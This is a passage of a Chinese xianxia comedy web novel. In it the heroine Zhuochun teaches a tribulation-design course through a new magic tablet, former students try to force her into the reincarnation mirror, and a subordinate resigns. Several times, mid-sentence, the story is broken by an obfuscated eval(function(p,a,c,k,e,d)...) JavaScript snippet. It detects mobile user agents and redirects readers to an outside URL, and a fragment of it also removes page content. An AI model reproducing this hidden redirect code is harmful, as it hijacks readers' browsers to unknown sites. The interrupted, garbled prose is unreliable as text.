这么坚持不懈地烦扰众人，除了嫌弃，灼春什么也没得到，甚至引来林鸿的警告——“你再这样胡搅蛮缠，就以妨碍公务罪把你关进慎刑殿劳改思过！” 嘿！工作效率不高还有脾气威胁人！ 灼春真怀疑那贼头是林鸿亲生的，否则至于那么维护吗？罪大恶极之人，判个凌迟都绰绰有余，不就是同意夏掌刑的提案恢复死刑然后根据新规罚一罚——很难吗？ 灼春火气上来也不惯着谁，把两份任命状往林鸿桌上一撂，二话不说跑去照顾恢复中的麻惠良和尚未苏醒的程冰津。 什么偶仙什么司劫，她灼春不伺候了！ 都不能给人主持公道，这种无良组织凭什么要人为它工作？ 忘了初心、背离宗旨的组织就该消失！ 相睦会历史上辞职的仙者不少，但是以辞职来胁迫的叛逆仙者，灼春属头一个。 而她辞职后没多久，这件案子就有了进展。 首先林鸿同意了夏至凛提交的，除了恢复死刑以外的法律修正意见；其次，在斗武殿的追踪下，所有失踪的修仙者尽数救回，只是所有人都伤得很重，几乎都被夺走了大半灵台，需要缓缓恢复；再次，慎刑殿内除主犯外所有有关此事的犯罪者，通通被夏至凛依照新法没收法力封锁灵台，因人而异施以酷刑；最后，贼头无俦被没收作案工具，粉碎灵台，毁去肉身，灵魂被困在慎刑殿地牢最深处受各种折磨，引以为戒…… 虽然对受害者的伤害无法抹除，但是恶有恶报，总归让人心里得到一丝安慰。 灼春见好就收，正打算找个时间重新上班，乔江山就找来了，送她一块约莫一寸厚的五边形琉璃片。 灼春惊呼稀奇：“你们那伙人不是特不待见我吗？居然还给我送礼物！怎么？明天世界末日没人通知我？” “不是礼物，这是司库托我转送的内测版金钱殿自制法器‘知易’，顺便教你如何使用。” 说完，乔江山又小声嘟囔：“就凭你肯辞职追求公平这一点，既往不咎也不是不行……” 灼春没听见她的嘟囔，接过琉璃片“知易”翻来覆去打量，疑惑这是什么法器。 灼春：“这干什么用的？还……内测版？吉吾的内测版不用我花钱买啊？” 乔江山往她那头探出身子，抬手摁下嵌挂在琉璃片侧边的铜钱样突起，琉璃片正面一闪，显示出清晰的白色画面，画面上有几个显眼的词汇。 “‘传音’、‘录音’、‘记事’……呃，什么意思啊？”灼春皱脸。 “这是金钱殿联合夏侯仙者倾力之作，该法器融合了‘传音阵’‘录音术’等术法，即使没学过这些法术的人也能在‘知易’上快速找到术法途径，只要注入等同法力就能通过这个媒介使用相应术法……” 乔江山一边讲解一边在琉璃法器“知易”上操作演示各个功能。灼春看得眼花缭乱，但不觉得多有用。 这玩意不鸡肋吗？这法器上的术法都是些基础法术，大家只要学习过法术就没有不会用的，无异于脱裤子放屁，用自己专门的法器当媒介不好？非得买这玩意儿？ 灼春“嗯嗯嗯”地敷衍着，然后问乔江山怎么那么熟练，仿佛自家生意一般。 乔江山坦荡回答：“因为我们理事堂也出资了啊。” “啊？” 乔江山说，这个项目刚开始，吉吾就到各个部门话事人那儿游说，别的部门她不晓得，反正她们自己的英理事长听完后大为赞赏，把理事堂半年的经费都搭进去了。 “半年！？” 哇……理事堂可是会里规模最大人员最多经费最充足的部门——半年的经费？嚯……难怪小乔解说得那么热情了，金钱殿这个项目要是不赚，她们理事堂恐怕要亏得干不下去了。 “好好好我懂了我懂了……小乔执司你回去吧！有空我会研究这法器的！” 灼春不愿意花这个精力，就想把乔江山忽悠回去，琉璃法器往角落一塞就完了。但是乔江山没那么容易被打发，硬是要给灼春完全教会。 灼春无奈：“好嘛好嘛，你先回去嘛！我有空自己会研究的啦！你把它的运行逻辑告诉我了我就会举一反三了嘛！不要这么小瞧我的智商！” “别以后，就现在学会它！”乔江山毫不动摇，“过两日你要开司劫教学课，就要用这个法器给学生上课的啊！” “什么！？” 灼春倒是记得有教学这回事，但没人告诉她要用这个法器授课啊？——不是，都面对面授课，这法器能派上什么用场！ 乔江山解释了，是掌舵让她过来教的，说司劫教学的报名者人数众多，大家伙的时间合不上，教学受限，所以需要知易进行线上教学——灼春在现场上课，法器将上课的影像和声音实时传送给未能及时赶到现场的学生。 灼春嫌弃：“整那么多花里胡哨的干啥！来不了的就算了呗！哪儿还能面面俱到的！就算老大为了帮吉吾测试产品也不能这么折腾我吧！” “那你去和掌舵抱怨啊。” “得嘞这就去！” 灼春坦荡荡地走出去没两步立刻就被乔江山从后头拽住。 乔江山惊：“你还真去抱怨啊？” “不能够！我抱怨完顺便问老大把我的辞职信要回来！”灼春扬了扬下巴。 乔江山神色古怪：“偶仙，你该不会真以为是自己的辞职信推动了掌舵做决断吧？” 灼春诧异：“事实还不明显吗？” 乔江山嘟囔了句“公鸡以为太阳是自己打鸣打出来的”，一挥手，一封信猛地出现夹在指间。 灼春越看越觉得信封眼熟…… 诶这不是她的辞职信吗？ 灼春接信：“老大让你还给我的？” “我自己拿的。”乔江山嗔她一眼，“前段时间我有事去主殿，无意中看到了这封信就收起来了，掌舵根本没看到。” “你怎么偷人东西！”灼春不满。 “是拿！” 乔江山指指那封信：“如果掌舵真看到了你那封信，你以为自己还能悠哉悠哉呆在这儿吗？我是在帮你！你把它收好了，以后别在外人面前说漏嘴，否则不光是你，我也要倒霉呢。” 被乔江山一提点，灼春后知后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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会议大厅与练武场一样内部自有一方天地，可大可小，但是环境上看起来比练武场封闭，有墙有顶有边界，更像会议室。这里被提前布置过，有讲台有幕布有黑板，讲台上纸笔戒尺一应俱全，整齐摆在一角。 灼春无聊得拿粉笔在黑板上画火柴人，知易里忽然收到林鸿的责问，问她怎么那么久了还不开始上课。 灼春：“啊？我这教室里一个学生没有，上课给谁听？” 林鸿：“打开知易，线上上课！” 灼春“哦哦哦”地操作手上的知易，默默吐槽老大红漆粪缸板——臭讲究，不就上个课，弄那么多花里胡哨的干嘛？反正这地儿这么大，把人叫过来当面上课不好么…… “你快点儿，都等着呢。”林鸿通过知易催促。 “哎呀别催！越催越慢！我都看不清屏幕了！” 灼春摁掉林鸿发来的消息，回忆着小乔的教学，费了半天劲儿，总算打开了“音像即达”功能，说是能把她上课的声音和图像实时传送给所有启用此功能的知易上。只是内测版的功能还很简陋，灼春启用了该功能还不清楚有多少人在听课。 她将知易放在专门的位置固定好，然后两步三回头地走到自己的讲桌后，清了清喉咙，正式开始上课。 63.司劫教学 “那个……不知道谁在听，多少人在听……那我就先自我介绍一下哈！我叫灼春，正职是相睦会情理所偶仙，主要工作就是帮人远离孤独，找到情感归宿——且同时兼任司劫，就是帮人在轮回镜渡劫，这也是大家学习的目的……” 妙回堂的门外挂上了“闭馆”的牌子，林鸿坐在桌案后，面前放好了自己的知易，灼春的人声和形象从那里显现，就像缩小版的本人站在那儿似的。 其实司劫的工作怎么都轮不着她这个掌舵，但……也许是为了考察业务？林鸿情不自禁地就加入了司劫的课程。 也罢，看看灼春是怎么理解司劫的，或许知其所以然后，自己的心绪会和缓些……不过说不好。 一事了结还有更多的事冒出来。就比如说最近抓获的那个绑架修仙者夺取灵台和法力的贼头无俦吧！ 慎刑殿初步调查得知，其人越狱后为了扩充法力就绑架修仙者，再利用自己独有的法器夺取他们的灵台和法力据为己有。 事态极其严重，性质相当恶劣。 只不过还有几个疑点不明了，譬如越狱后她为何在新阳城东市逗留数日而不趁早离开，譬如受害者被夺取的法力总量与她自身灵台的法力存量之间为何有巨大不平衡，譬如…… 她本打算等夏至凛从头到尾查个明白，事情有了定论后再做处理，但是不和谐的声音太大，她不得不提前处理，包括对夏至凛变法的许可和对无俦的惩罚——销毁肉身，将其魂体关押于慎刑殿受刑，也不妨碍后续慎刑殿的调查取证。 或许有人会指责她不恢复死刑太保守，但她绝不动摇！ 死刑？除了满足一时意气还有什么用？能让受害者痊愈吗？能让施害者反省吗？能让罪犯痛不欲生吗？能对未犯案者起到有效警示作用吗？ 看似合理、解气，实则一刀切，毫无用处。 她希望能有一种超越死刑的刑罚，既能让罪犯体验到受害者的全部痛苦还不被有受虐倾向的个别人爽到，又能为逡巡不定的后来者敲响警钟。 实在不行，只实现前一项也成。 她这些年迟迟不变法就是没找到适宜的新法——其他零碎的细法，变不变的，意义不大——同时，她也和夏至凛沟通了自己的想法，对方也在思考这个问题，或许，终有一天会找到的吧。 ——林鸿将注意力重新集中到授课的灼春身上，想看看她到底是怎么想出那么多折磨人的法子为人设劫的。 然而灼春并没有直接讲操作，课程一开始，讲的是“司劫的起源”、“司劫的概念”、“司劫的对象与工具”、“司劫的重要性必要性与意义”…… 林鸿：……？ 讲得这么……细致吗？ 好不容易熬过了枯燥的一筐知识点，林鸿揉了揉昏昏欲睡的脑子，以为要迎来实操干货，结果灼春又讲起了仙者的起源、定义、职责，寂心期的概念、作用、重要性与意义，轮回镜的诞生、结构、作用、功能…… “……” 正确的废话太多了。 但，尽管林鸿对灼春的讲课唠叨颇有微词，不得不承认的是，灼春讲课很细致，形式也很生动，特别是讲课的语言，煽动性极强，一不小心就把人抓进她的阵营去。就算林鸿习惯了抓重点看本质，好几次也差点被灼春忽悠，陷入她捏造的伟大意义里。 只能说，灼春确实认真备课了——可惜重点放错。 灼春讲得太细，结果就导致，重点还没开始，原定的教学时间就用完了，林鸿不得不将课程时间延长，又增加了几天的教学。 第一天的课程结束，林鸿就找灼春谈了她上课的问题，要她务必控制好时间，否则多一天就拿她的休假时间补。 灼春当时大吆小喝，事后就赶紧找鸣桐帮自己改教案，总算删减了文本量，上课的时间也控制在预计安排内。 教学一连进行了好几日，关于学生的情况，灼春不清楚，林鸿清楚。 林鸿知道大家报名都是冲着“师夷长技以制夷”日后报复灼春去的，但是随着课程的推进，她明显感受到大家情绪的变化——一开始百分百的报复情绪，逐渐混进了其他东西，对寂心期、渡劫、司劫的认知，对灼春工作的认同和理解，对司劫工作的钦佩，甚至还有对灼春本人的甘拜下风、自愧弗如。 就林鸿所知，已有好些人动摇了亲自司劫报复灼春的念头。 不怪他们动摇，主要是灼春……把司劫这个工作抬得太高了。 灼春说，仙者会有寂心期是因为天道慈悲，害怕仙者远离凡尘太久，忘了民众的生苦，提醒他们要低头看看尘土，保持人情味，不要成为冷酷的兵器，忘了自己的来处。 灼春又说，仙者渡劫就是在不损害自己的实体前提下做一场成为凡人的梦，只有真心真意地相信自己是凡人，承受凡人遭遇的痛苦，才会真情实感地记住凡尘的痛苦与快乐，会站在平凡人的角度思考问题，为其谋福。 灼春还说，司劫是向死而生的事业，要牺牲自己的不忍，突破自己的思考底线，不但要让渡劫者向死而生，自己也要跟着经历一遍极端，破而后立。渡劫者只要痛一个一生，而司劫者要源源不断地痛每一个一生，同时可能还要忍受来自渡劫者的不解、怨恨与伤害。 …… 林鸿从金钱殿那里发现了许多被眼泪浇坏需要大修的知易。 唷，教学的力量哦。 不过，通过灼春声情并茂的授课，林鸿突然有了如何制造超越死刑的惩罚的灵感。 司劫教学的最后一堂课开始前，灼春被林鸿叫住，说有个人要进轮回镜，让她帮着照看。 灼春莫名：“哪个仙者？等我上完课你直接让他找我嘛！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灼春随便翻了翻内容，皱眉：“你写的啊？行不行啊……” 林鸿：“那就得问你了啊，灼春老师。我可都是按照你课上教的写的，如果有问题，那说明你的教学水平有待提升。” “那咋不说是学生水平参差不齐呢……” “嗯？” “呃——嗯嗯嗯！我知道了我知道了，我会处理好的！严于律己，宽以待人！不从外界找借口，只从自身找原因！” 林鸿满意地点头，交代灼春好好上最后一课，自己也会看直播的，接着就放她进会场上课了。 灼春目送她离开，久久没有动作。 ——反正也是回去看知易直播，为啥不直接现场听课？ 死板诶！ 64.老师再见 灼春考虑了很久，最终把司劫教学的最后一课定为历劫模板创作课。 “大家学到现在，对如何司劫，已经有了丰富的理论知识。本来呢，按正确的教学流程，我应该让你们有个实操的机会，比如找个仙者历劫，让你们上手控控看……但是这种机会不常有，而且我们也要对历劫仙者负责嘛！所以我就想让大家学着写历劫模板，造一个历劫用的灵盘。” 灼春给大家显示了自己做的灵盘。 “因为大家是第一次创作，所以在动手之前，我希望大家能在脑内定下一个历劫对象，不管是哪个仙者还是自己，定下来后，再根据我课上的内容，对这个人物进行探究，创作出最戳该人物痛点的模板。” 灼春仔细讲完如何制作灵盘后，便向知易中素未谋面的学生们道别。 “本次的课后作业，即本课程最后一次作业，就是创作历劫模板。如果大家写完了，有需要我指导的需求，可以带着模板直接到情理所找我。——同学们，再见。” 灼春关闭知易程序的同时，教室里突然洋洋洒洒飞下满天的花瓣。她茫然抬头，满室花瓣轻盈飘动，但看不到来处。 嗯……打在脸上痒痒的。 灼春收拾东西离开，却在关门的刹那，看见板书内容瞬间变为两个大字——“谢谢”。 灼春一愣，蓦地会心一笑，轻松地合上门。 不知道是谁做的，还挺浪漫……她的学生们似乎很喜欢她嘛！真是……整得她都不好意思了…… 嘿嘿～她怎么这么讨人喜欢呢！ 另一边，结束了全部课程的司劫学徒们情绪低落地聚在一块，互相诉说着对灼春的改观与对司劫工作的尊重和钦佩。 “……上了课之后，我才恍然，灼春司劫的时候狠是对我们负责。” “我懂你的意思，了解内容后，灼春‘为我好’这一点突然具象化了……” “是啊，上完全部课程，我突然觉得我们这样以怨报德很不是东西，满满的负罪感……” “人家让我们浴火重生，我们却只想着把火烧回去把她做成烧鸡……” “诶我突然想吃多味楼的烧鸡，有人要一起不？” “……” “……那么，你们还想报复回去吗？” 诸人都露出了为难的表情。 “诶，那我也不好意思了……”说话的那人把自己编了一半的模板撕了，“我这模板完全是以灼春为中心的……” “我也是……”一个人举起了自己写的模板。 “我也……”又一个人举了起来。 “俺也一样！” 接二连三地出现回应，结果，所有人的模板都是针对灼春开展的，内容全是——咳咳。 为首的：“那我们……？” 剩下的人面面相觑。 “……继续？写都写了，总不能浪费吧。” “同意。” “我也同意。” “俺也一样！” 自从上次“诈尸”为凤脊说话，程冰津就陷入了多日的昏睡，但是没有生命危险，只是需要时间恢复，所以大家的心情就没那么沉重。 而麻惠良恢复得好，在林鸿和鸣桐的治疗下已经痊愈。林鸿本来给她批了一个月假休息调整，但是麻惠良即使休假，还是每天过去妙回堂照顾，雷打不动。 如此行为令灼春扼腕—— 那可是假期！别浪费了啊！ 说回灼春，两个下属，一个假中、一个病中，不得不自己扛起情理所的工作。 唉，劳碌命啊……历劫责任刚告一段落，偶仙工作又得顶上了…… 没过多久，灼春就得到了程冰津苏醒的消息，于此前后脚，程冰津离职的消息也传进灼春的耳朵。 什么！？那个混蛋敢越过她辞退她手下的人！？ 在灼春一级一级找人要说法之前，程冰津本人就到她面前作别。 “灼春姐，谢谢你一直以来对我的教导和照顾，以后我也会像你一样，尽自己所能照顾别人的！” 情理所内，程冰津的笑容依然和曾经一样明朗，但不知是不是自己多心，灼春总觉得那个耀眼的笑容掺杂着苦涩。 灼春皱出八字眉，两眼泪汪汪地注视着她，努力让自己的语气如春风般和煦，询问她：“小程，是谁和你闹矛盾了吗？有谁为难你逼你离职吗？你有哪里不满意都可以说，咱们都能商量嘛，何必辞职呢？” 程冰津摇摇头，说：“灼春姐，大家都对我很好，我也没有不满意……是我现在的情况不胜任执司的责任了，但我不想尸位素餐，与其霸着这个位置，不如请能胜任的人接手，这样对大家都好。” “你怎么会这么想？你做得很好啊——”灼春说了几句，忽地想起之前林鸿说小程灵台尽碎无法使用法术的事，一时沉默住。 程冰津轻巧地笑笑，道：“我现在用不了法术，所以会里的很多工作处理起来都不方便。与其等之后拖累大家，不如趁早离开。” “小程……” “没事的灼春姐，”程冰津扬起笑容，“我只是辞职，不是堕落，之后我也会尽己所能，为天下献出自己的力量！一天为执司，一生是执司，相睦会的宗旨我始终会铭记于心，不会走岔！” 灼春嗫嚅着，心里沉甸甸，但是什么也说不出来。 她最辛苦的时候也有法术的底子，就那样她都走得艰难。小程现在法术全失，说不定连七八岁的坏小孩都能捉弄她，她光是想想就觉得窒息。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085819|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能怎么活呢？ “其实……你真没必要这样逼迫自己……”灼春斟酌着说法，“像情理所的很多工作，并不需要用太多法术，你完全可以留下来，如果碰上需要法术的地方，交给我和小麻就行了……” 程冰津浅笑着摸了摸鼻尖，仍然委婉拒绝了灼春的好意。 对方态度坚决，灼春也不好用强，只好接受现实。不过，临了她还是给了程冰津一个承诺，只要程冰津遇上了困难，不论是生活上的困难还是工作上的困难，随时都可以来找她。别的她可能没法解决，但吃的住的她妥妥能提供！ 程冰津收下她的善意并劝慰她不必担心自己。 “掌舵说过，天地间必有一线生机，如果我努力进取，灵台未必不能再生。我不怕等待的时间长，从小到大，我最不缺的就是耐心了。等我哪天修复了灵台，我一定会再努力考进相睦会的！那现在就——” 程冰津敛了笑，郑重地向灼春鞠了一躬。 “灼春老师，再见！” 程冰津挺直了腰板走出相睦会，就好像她来时那样。 ……多好的孩子啊。 灼春想到造成这一切的凶手就恨得牙痒痒，所以在之后林鸿把沉睡中的无俦魂体送来时，差点没忍住打散它。 “哎你小心点！别因为一时意气踏进罪恶的深渊！”林鸿护住无俦魂体，警告灼春。 灼春咬着后槽牙，暗骂一声。 随后，她咽下火气，好好地接过那团发蔫的光雾。 ……呸，蔫儿吧唧，装什么可怜！ 林鸿：“我已经施法让无俦魂体昏睡，只要激它一下就能醒。——灼春，好好司劫，我相信你可以让她良心发现、幡然悔悟的。” “……” 灼春皮笑肉不笑地呵呵两声，就把林鸿催促出了自己的地盘。 她单手颠着手里的光雾，斜了一眼林鸿准备的文本，忽地冒出一个大胆的念头。 这种草菅人命的恶人会有人性？只是再经历一次过往也太简单了，不如……让她带着记忆“回到过去”？ 灼春及时抓住灵感，将魂体丢进轮回镜控住后，立刻根据林鸿的剧本又写了一份。 无俦最大的心结应该是止步半仙无法飞升，如果让她再来一次，大抵会有很多想更改的过去的抉择吧？ 那么，她就让她保留记忆重新经历一遍过去，但是，她只能以旁观者的角度默默关注，无法干涉过去！等她发现自己无法干涉，冷漠旁观时，再慢慢给她开放权限，从能影响到一些小物件开始，到最后能与过去的自己对话，接着再…… 这次她不用灵盘，全程自己盯！ 她就不信了，她堂堂一个偶仙，还调动不了谁的情绪！ 颤抖吧！贼子！ 65.回收法器 “阿夏，我来回收知易了。” “吉吾司库，请好好称呼他人姓名。” 夏至凛往后靠在椅背上，捏捏鼻梁，闭目养神。 吉吾知趣地停在距离案牍还有一段距离的位置，挑了个地儿，左腿架上右腿泰然落座，俨然一副打算长待的模样。 夏至凛揉着鼻梁，将口袋里的琉璃法器取出，御到吉吾掌中。 “东西还你了。” 然而吉吾虽然收下法器，却没离开的动作。 夏至凛睁眼瞥她：“……想蹭饭？” “想问使用感～” 说着，吉吾变出纸笔，笑嘻嘻地看向夏至凛。 夏至凛合眼深吸一口气。 吉吾：“哎呀怎么了嘛！修仙者被掳案不是已经结案了吗？受害者也都回归社会了，现在还那么忙？” 她可是特意等到案子结束了才过来回收法器的，就是为了好好调研，得到有效建议。 “谁说结案了……”夏至凛语气微冷，“案子还有不少疑点得不到解释——无俦那厮，就算落网了也不老实交代……” 夏至凛一顿，看向吉吾：“你们也不轻松吧，只是回收个法器、搜集个意见，居然还要你这一把手亲自出来。” “咱会里的人说多不多说少不少，可不得全员出动收资料？”吉吾端正坐姿，做了个“请”的手势，“请开始你的反馈，只要有用，一条也行！” “……” 夏至凛想着赶紧结束，沉吟片刻，便提道：“法器本身稍显鸡肋。” 吉吾一怔，就听夏至凛说，知易现在只是提前准备好了法术的构建，然而驱动法术所需的法力还得自己现场输入，就像给你一本菜谱，但是炊具、食材、调料还有厨师都得自己准备，做起菜来并不能便捷多少。 “不如带一本法术综合教材。”夏至凛锐评。 “……”吉吾沉默片刻，“但是我们知易里有市面上少见的高级法术，比教材好些吧？” “那才是最糟糕的地方。”夏至凛说道，“其他法术因为简单常见，所以施术者对要消耗多少法力心里有数。而那些冷僻的高级法术，大多数施术者没有见过，也不知道要消耗多少法力，自己能否承担得起……很可能会因为勉强使用而被榨干灵台，甚至出人命。若真出人命，免不了请你过来慎刑殿喝茶。所以——吉吾司库，莫非你这法器只是面向仙者的吗？” 听此一言，吉吾如当头棒喝。 她居然忘了这回事！ 还好没先对外出售，否则闹出人命她万死难辞其咎！ 吉吾再次沉默。 夏至凛：“司库，请回。” 吉吾猛抬头，与她对视：“那我们知易若要上市的话，其一，得量化法力，并在每种法术后面添加预计消耗的数值；其二，要增加法力源，令使用者不必消耗自己的力量就能使用知易里的法术？” “……” “……” 夏至凛被吉吾炙热的目光盯得有种不妙感。 夏至凛：“……你在问我？” 吉吾猛拍大腿，焦虑道：“唉！可是这两个功能都是老大难的技术问题，一时半会儿解决不了啊！——阿夏，你有头绪吗？” “……技术性问题请回去和你的研发团队商量。” “唉！难道我们知易这个项目就这样夭折了吗？为了研发这个项目，银子砸进去不老少，难道就这样打水漂了吗？——阿夏，你有头绪吗？” “……收益性问题请回去和你的运营团队商量。” “阿夏，我们都这么熟了，朋友我遇到点困难你还那么冷漠袖手旁观吗？你好好想想，你是为什么走上修仙道路的，你是怎么突破重围进入相睦会的，你上任掌刑时发过什么誓言！——阿夏，出手吧！” “……道德绑架请找你的下属。” 吉吾喋喋不休，每段话的话尾都点名让夏至凛想办法。后者当然知道对方在干嘛，但她自己本来已经忙不过来了，绝不会没头没脑去揽别的麻烦事。 夏至凛额角突突跳：“如果都是一样的话，不必再提，请！” “哎哎，别……” 在吉吾单方面纠缠夏至凛时，一个意料之外的人推门进来。 “我给你把法器带过来了，贴心吧？”凤脊如是说。 夏至凛斜她一眼就收回视线，闭目养神。 吉吾接过琉璃法器，稀奇：“能躺绝不坐、能坐绝不站的人今儿居然出现了，吹的哪门子妖风？” 调侃完了吉吾又说：“可惜你多余跑这一趟，小胡正往藏宝殿去呢。” 凤脊摸着一把乱糟糟的鸡窝头呵呵一笑。 吉吾当她要说什么客套话，谁料对方开口就是问情理所的小程是不是被辞退了。 “她是自己请辞的，怎么了？”吉吾有点不明白，“她是灼春家的，具体情况你不如去问她？” 凤脊掩口假咳两声，嘀咕了句“找她没用”后，说：“我听说那个——小程，她用不了法术了？” “嗯，据说灵台碎得一点不剩。”语毕，吉吾脑中灵光乍现，可隐隐约约，并不真切。 她顺口调侃：“你这么关心？难不成鸣桐的八卦是真的，你和她……？” 不等对方反驳，吉吾自己就矢口否认了。 吉吾：“嗐，我乱说的，哪儿有人当真呢。” 凤脊：“……你了解世情，我问问你，像那样一点不会法术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”夏至凛，“停止你危险的想法。” “诶，借来研究研究嘛！我又不拿它干坏事！” “这是凶器，是证物。”夏至凛扶额，压下烦躁的情绪道，“研究的事之后你们可以慢慢来，只要把威胁生命的功能去掉，法器依然可以量产出售。” “哎呀差点忘了还要去回收灼春那儿的知易呢！好嘞我这就告辞！” 66.写都写了 “你、你们干嘛……” 灼春被一大帮仙者堵在情理所，心生惧意。 当她发现自己被人围了个水泄不通，被迫与他们交流视线时，脑内把这段时间干过的所有坏事都想了一遍—— 糟糕，想不到！ 她这段时间遵纪守法、乐于助人，恪尽职守还廉洁奉公，简直就是新时代仙者的典范，想反省都找不出错来！ “偶仙，我们都是上过你司劫课的学生，今天是来交作业的。”小乔执司在人群前排解释道。 “这样？你们气势汹汹的，我还以为是组团来打我的呢……”灼春狐疑地瞅他们一眼又一眼，悬着的心想放却莫名放不下。 原来这么多人听她课呢？ “先锋官还在呢。”同样站在前排的牛执司说话了，“司劫灼春，你不来批改我们设计的模板吗？” “呃……你们放着吧，回头我慢慢看。” “诶，作业当然要现场改才有效啊！有什么问题咱们当场解决，也能给彼此做个警醒啊！” 牛执司一说话，身后众人纷纷应和。 这架势让灼春隐约察觉到危险。 灼春怀着警惕心，小心回答：“那我更得之后慢慢看仔细看了，现在那么匆忙，看得囫囵吞枣多辜负大家的努力啊！这样，你们先回去，事后我把问题纠集成一本册子，保证人人都有……” 有仙者挑衅道：“哟！看来偶仙真把自己当所有人老师了！真觉得自己凌驾众生，不会出错哦？” 灼春张口欲辩解，却被仙者此起彼伏的应和声压下，而且她紧张之下确实也想不到怎么圆场。无奈，她只好顺着大家的意思，现场查看模板。 灼春翻着大家的作业，看着看着就看进去了，忘了先前的紧张，对大家的成果颇为惊奇。 第一次上手就能写得这么完善，看来大家是真的狠狠花了心思的！或许是她太多疑，说不定人家就只是做事认真才急着赶来的…… “司劫，如何？可行吗？”牛执司带头问。 “唔……从内容上看大致过关了，但是作为模板讲，有点过于详细，实施的时候可能不会按照设计走，要么补充大量预案，否则司劫时就得一直盯着，恰恰违背了设置模板的初心……”灼春想了想，建议说，“或者采用更快捷的办法，把模板中的细节删去……” 某仙者：“你都没试过怎么会知道不行？” “……诶？”灼春一愣，连连摆手，“我没说不行，就是……” “实践出真知，既然司劫说不行，那咱们轮回镜里见真章呗！” 灼春懵：“啊？” “说得好啊！那就试试看嘛！” “对对对！挑一个人进轮回镜运行试试嘛！” 在灼春还没反应过来时，在场所有仙者已经达成了共识。 灼春：“不是，你们……” “可是选谁好呢？牛执司你来？” “嗐，我刚进过轮回镜，哪儿能这么频繁！” “巧了么这不是，我也刚渡劫出来呢！” “我也还没缓过劲儿来呢！” …… 说着说着，诸人的视线唰唰唰地集中到灼春身上。 “……我？” 迎上众人的眼睛，灼春额角渗出一滴冷汗。 诸位仙者纷纷说着“在场就你近年没渡劫”“顺便把寂心期提前过了呗”“比起渡过劫的我们明显没渡劫的你更合适”“老师要以身作则”等说辞，不动声色地慢慢靠近灼春。 灼春这下全明白了。 好嘛，明修栈道，暗渡陈仓，这帮人是打着实践的名义让自己进轮回镜受他们摆弄啊！ 想溜已经来不及，仙友们从四面八方扑来，仿佛捕食的狼群，一个个眼里都冒着绿光…… “救——命——啊！！” 一个不小心，灼春就被架起来推进后头的轮回镜——未遂！ 灼春卯着劲儿，把脸胀成猪肝色，靠着十根手指尖尖、两只脚后跟以及强大而凸出的腰腹，以大字型撑在轮回镜镜面上负隅顽抗。 “仙友们！你们这是不对的！收手吧！！” “司劫老师，我们难得写了模板，写都写了，不运行多可惜啊？” “别反抗了，今日你进也得进，不进也得进！” “对！就是先锋官来了，你也得先进去！” “啊啊啊造孽啊！！” 灼春苦苦支撑崩溃大叫。 ——“怎么回事？” 短短一句，如闻仙乐啊！！ “救命啊仙乐！！！这帮人要逼我进轮回镜历劫啊！！！” 灼春扯着嗓子大吼。 来收法器的“仙乐”吉吾闻言，顿时严肃神情，抬掌厉声喝斥“住手”。 屋内的仙者自觉让开一条道，让门口吉吾与轮回镜前方纠缠成一片的仙者们正对。 牛执司抽空回头：“司库，你也是受害者来的，这是众望所归，你不要逆天而行，我们不想和你作对！” “司库，以德报怨，何以报德？”小乔执司在一旁补充。 吉吾沉着脸，一步一步走到他们面前，端详过推搡 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灼春凭借着自己的三寸不烂之舌，把在场仙者说得良心发现，最后放弃报复，陆续散去。 人都走后，灼春浑身力气被抽空，顺着镜框呲溜一下滑坐到地上。 呼好险……多亏她那么些年的偶仙主业都是踏踏实实干下来的，不然这会儿就该哑口无言地被扔进轮回镜报复了…… 稍微歇了歇，灼春就起来把仙者们留下的令人发汗的所有模板拾掇在一块，想一气儿扔到大门外放了把火烧了。 亏她教得那么认真，教出一帮白眼狼！ 斩草要除根，烧了，都烧了！不给自己留后患！免得哪个仙者冷静下来还要拿自个儿写的玩意儿报复自己！ 灼春起了火就走开，多一眼都不愿意看。 等她离开，吉吾就从拐角探出头，施法灭了火，偷偷摸摸将所有模板收起来带走。 写都写了，烧了多可惜？不如让她拿来做一些能赚钱的事…… 被同僚们欺负惨了，灼春有一肚子怨气，两整天都消不了。 她想专注工作转移注意力，可看看轮回镜里的恶人无俦更来气了，随手就往后续的剧情增加不少不必要的苦难——然而过了一会儿她气消了些，又费劲儿巴拉地把新增的苦难去掉了。 但是灼春依然不待见无俦。 不行，这样太浪费时间精力了！ 诶，看着就来气，出去散散心！ 67.不可支配 灼春提个竹水筒漫无目的地在相睦会里闲逛，为了丢开一切纷扰，还特意避开了人多的路。只不过，饶是她如此精心准备，散步的时候还是忍不住想起轮回镜中的某个大坏蛋。 无俦再怎么说也只是个未得道的修仙者，进入轮回镜后仍保有自己的意识，与记忆全无的仙者不同。 